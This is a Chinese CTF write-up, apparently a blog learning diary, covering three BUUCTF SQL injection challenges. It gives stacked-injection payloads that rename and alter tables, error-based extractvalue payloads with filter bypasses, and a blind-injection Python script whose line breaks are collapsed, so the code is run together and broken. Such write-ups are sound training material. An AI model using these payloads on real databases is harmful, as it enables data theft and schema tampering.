wmm的学习日记(sql注入练习)
前段时间浅学了一下sql注入的基础,做了一些题目来巩固一下知识
目录
BUUCTF 随便注
show
堆叠注入
mysql中修改字段和表名
rename table和alter table
alter
BUUCTF[极客大挑战 2019]HardSQL
小结
BUUCTF[极客大挑战 2019]FinalSQL
BUUCTF 随便注
第一步,尝试采用联合注入,但是发现select被过滤了,不能采用联合注入了于是采用堆叠注入而且不能用select查询,我们用show代替
show
#显示mysql中所有数据库的名称
show databases;
#显示当前数据库中所有表的名称
show tables;
show tables from database_name;
#显示表中列名称
show columns from table_name from database_name;
show columns from database_name.table_name;
堆叠注入
在sql语句中分号代表一个语句的结束,我们可以采用多个;来拼接多条sql语句达到查询目标信息的作用
1';show tables;#
select * from where id='1';show tables;
如上述语句就会输出id=1的信息和当前数据库的表名
第二步,查看当前的表和字段
1';show tables;#
发现有两个表,查看各表的字段
1'; show columns from `words`;#
1'; show columns from `1919810931114514`;#
发现在19810931114514表中存在flag(如图1),words表中有两个字段(如图3,4)一个是int,一个是char与查询的数据格式相同(如图2)大胆猜测输入框中查询的是words表,因此,我们想要得到flag可以将‘1919810931114514‘改为’words’借此得到flag
mysql中修改字段和表名
rename table和alter table
在mysql中可以用rename table和alter来修改表名,alter可以修改临时表但是rename不行同一数据库下表名不能重复
rename table old_table_name to new_table_name;
alter table old_table_name rename to new_table_name;
alter
#删除字段
alter table table_name drop column column_name;
#增加字段
alter table table_name add column column_name;
#修改字段的类型
alter table table_name change column column_name new_column 新属性;
#重命名列
alter table table_name change column old_column new_column 属性
#重命名表
alter table old_table_name rename to new_table_name
第三步修改表‘1919810931114514‘为’words’,修改flag字段为id,添加一个varchar类型的字段借此得到flag
1';rename table `words` to w;
rename table `1919810931114514` to `words`;
alter table words change column flag id varchar(100);
show tables;#
这里要注意上面的语句要一次性注入,因为查询的是words表,如是分开注入就找不到words表了,最后用万能密码得到flag
BUUCTF[极客大挑战 2019]HardSQL
第一步,尝试万能密码,发现被过滤了,猜测过滤了空格用/**/代替发现不可以,尝试用()代替空格发现可以注入而且有报错回显,于是猜测是报错注入过滤了空格
第二步采用报错注入,发现没有连接上,看了别的题解发现web用'^’连接函数
注入以下内容得到数据库名
username=admin&password=1'^extractvalue(1,concat(0x5c,(database())));%23
第三步,获取表名,发现过滤了‘=’,用‘like'代替得到表名
1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))));%23
第四步,获取字段名
1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))));%23
第五步,获取flag发现只有一半,用right函数得到另外一半拼接得到flag
1'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1))));%23
1'^extractvalue(1,concat(0x5c,(select(right(password,20))from(H4rDsq1))));%23
小结
- ()代替空格
- like代替=
- ^连接函数
- right()函数获取部分flag
BUUCTF[极客大挑战 2019]FinalSQL
第一步,查找注入点,这题可能的注入点有两个,其中一个为账号密码登录,另一个是id
用bp进行fuzz测试发现注入点是/search.php?id=,并且发现^没有被过滤,可以用^进行盲注
第二步,尝试寻找注入成功的回显页面,已知1^1=0,0^0=0,1^0=1,当后面的语句返回为0时(错误)会出现当前页面‘Click';当后面的语句返回为1(正确)时会出现’ERROR'
所以我们可构造python脚本,本来是没有使用二分法,但是发现之前的方法会跳过一些字符所以借鉴了别的大佬的脚本
import string
import requestss=string.ascii_lowercase+string.digits+'{-,}'
url="http://bee5bb8f-43d5-488e-9af1-626a6428d6ac.node4.buuoj.cn:81/search.php?"
flag=""
i=0
while True:i+=1begin=32#从可打印字符开始end=126tmp=(begin+end) // 2print(i)while begin < end:#爆库名#id=1^(ascii(substr(database(),%d,1))>%d)#geek#爆表名#id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)#F1naI1y,Flaaaaag#爆字段名#id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))>%d)#id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)#Flaaaaag:id,fl4gawsl F1naI1y:id,username,password#获取flag#id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),%d,1))>%d)u=url+"id=1^(ascii(substr(database(),%d,1))>%d)" % (i,tmp)r=requests.get(u)if "ERROR" in r.text:#如正确,说明该字母大于tmpbegin=tmp+1tmp=(begin+end)//2else:end=tmptmp=(begin+end)//2flag += chr(tmp)print(flag)if begin == 32:#查找结束break
wmm的学习日记(sql注入练习)相关推荐
- 小白学习的sql注入
小白学习的sql注入 一.sql注入漏洞原理 二.漏洞危害 三.sql注入分类 四.sql-labs靶场搭建 五.注入 六.注入流程 七.注入防范措施 八.辅助插件hackbar的安装 一.sql注入 ...
- Wmm的学习日记(SQL注入基础)
这周听了一节三个半小时的网课,有关sql注入,消除了我对sql注入的"恐惧",也算是浅浅入了下门吧,虽然学会了点皮毛,但是还是成就感满满,哈哈哈,从0到0.001也是一件值得庆祝的 ...
- 《Web安全渗透全套教程(40集)》学习笔记 | SQL注入攻击及防御
学习视频来源:B站<Web安全渗透全套教程(40集)> 个人在学习的同时,也验证了视频中的实验部分,现将授课笔记和实验笔记整理下来. SQL注入危害 SQL基础回顾 连接数据库 查看数据库 ...
- 小菜鸡的学习笔记——sql注入之sqli-lab边学边练
结合sqli-lab靶场的sql注入学习笔记<持续更新> 第一关 Way1:字符型联合注入 Way2:报错型注入 第二关:get数值型联合注入 第三关:字符型闭合注入 第四关:字符型闭合注 ...
- CTF学习笔记——SQL注入
SQL注入 sql注入的分类 1)可回显的注入 可以联合查询的注入 报错注入 通过注入进行DNS请求,从而达到可回显的目的 2)不可回显的注入 bool盲注 时间盲注 3)二次注入 通常作为一种业务逻 ...
- CTF学习笔记——sql注入(2)
一.[SUCTF 2019]EasySQL 1.题目 2.解题步骤 看标题就知道是关于sql注入的题目.老规矩,先跑一下sqlmap,再用1' or 1=1 #试试. Nonono. 不死心再试一下别 ...
- wmm的学习日记(XSS跨站脚本漏洞)
由于政策放开我们学校已经采取线上上课的教学方式,虽然现在已经在家了,但是学习还是要继续,休息了几天之后这两天学习了XSS跨站脚本攻击. 目录 XSS简介 反射型XSS 简介 常见注入点 DVWA(XS ...
- Web安全学习笔记——SQL注入
一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...
- ctfshow刷题日记sql注入篇
web 171 没有任何过滤那应该在这张表里面,直接用 1'or'1'='1即可拿到表单的所有信息 (也可以直接查询) web 172 添加了限制条件,上面的不能用了,还是单引号闭合,直接联合查询 最 ...
最新文章
- oracle solaris 内核 源码,Oracle和SUN Solaris内核参数
- 微信公众平台开发教程(九)微信公众平台通用开发框架
- CentOS 5.6 快速搭建LAMP
- 2 数据源配置_[Mybatis]-[基础支持层]-数据源信息-数据源详解
- 转 .net里如何判断中文字符长度
- java四大模块_Spring框架七大模块
- jQuery中find和filter的区别
- java生产者消费者同步模式
- 矩阵运算_如何理解矩阵对矩阵求导?
- uniapp - 接入科大讯飞语音评测
- linux脚本取消空格,Shell去除空格和空行的方法
- 在HTML中什么表示水平线,HTML中加入水平线的标签是( )
- QT 简单实现自定义标题栏
- 在canvas上实现3D效果
- ubuntu 安装eclipes
- ei拼音的四个声调对应的字_幼儿园学前班拼音教案:复习 ei 以及四声调
- Excel插入XactiveX提示出错“不能插入对象”解决
- 一个机械专业小混混(gooogleman)学习嵌入式ARM的真实经历
- mysql TIMESTAMP 不能为NULL
- uni-app App权限配置
热门文章
- 计算机用户丢失怎么找回,如何将电脑死机后的丢失数据恢复
- 基于Feign的远程服务调用
- 视频直播点播平台EasyDSS如何通过接口调用实现截取视频的功能?
- 【Java】动态模拟时钟
- Python-int()函数
- Java高铁的速度是火车的两倍_亚洲最大的三座高铁站, 全部都是特等站, 毫无疑问都在中国...
- IOS11 光标错位问题
- 【学习笔记】SNAT DNAT
- Lotus Notes登录后无法进入邮件,一直处于“正在加载,请稍候” 解决办法!!!
- 浏览器如何显示页面(二)